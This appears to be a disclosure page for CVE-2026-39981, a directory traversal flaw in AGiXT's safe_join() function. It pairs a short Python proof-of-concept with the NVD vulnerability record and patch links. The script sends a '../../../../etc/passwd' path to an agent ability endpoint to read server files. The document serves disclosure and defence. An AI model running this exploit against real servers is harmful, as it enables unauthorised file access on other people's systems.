CVE-2026-39981

# PoC Concept for CVE-2026-39981 # This script demonstrates the directory traversal vulnerability in AGiXT. # An authenticated attacker can read arbitrary files on the server. import requests # Configuration target_url = "http://localhost:7437/api/agent/ability" # Example endpoint auth_token = "YOUR_LOW_PRIVILEGED_AUTH_TOKEN" agent_id = "TARGET_AGENT_ID" # The vulnerable ability uses safe_join() improperly # We use '../' to traverse out of the workspace malicious_path = "../../../../etc/passwd" payload = { "ability_name": "read_file", # Hypothetical ability triggering safe_join "path": malicious_path } headers = { "Authorization": f"Bearer {auth_token}", "Content-Type": "application/json" } try: response = requests.post(target_url, json=payload, headers=headers) if response.status_code == 200: print("[+] Exploit successful! File content:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] An error occurred: {e}")

{"cve": {"id": "CVE-2026-39981", "sourceIdentifier": "[email protected]", "published": "2026-04-09T18:17:02.350", "lastModified": "2026-05-13T15:52:11.150", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "AGiXT is a dynamic AI Agent Automation Platform. Prior to 1.9.2, the safe_join() function in the essential_abilities extension fails to validate that resolved file paths remain within the designated agent workspace. An authenticated attacker can use directory traversal sequences to read, write, or delete arbitrary files on the server hosting the AGiXT instance. This vulnerability is fixed in 1.9.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:agixt:agixt:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.9.2", "matchCriteriaId": "6F449F33-93CD-4458-90EA-D08F96F8B919"}]}]}], "references": [{"url": "https://github.com/Josh-XT/AGiXT/commit/2079ea5a88fa671a921bf0b5eba887a5a1b73d5f", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/Josh-XT/AGiXT/releases/tag/v1.9.2", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/Josh-XT/AGiXT/security/advisories/GHSA-5gfj-64gh-mgmw", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}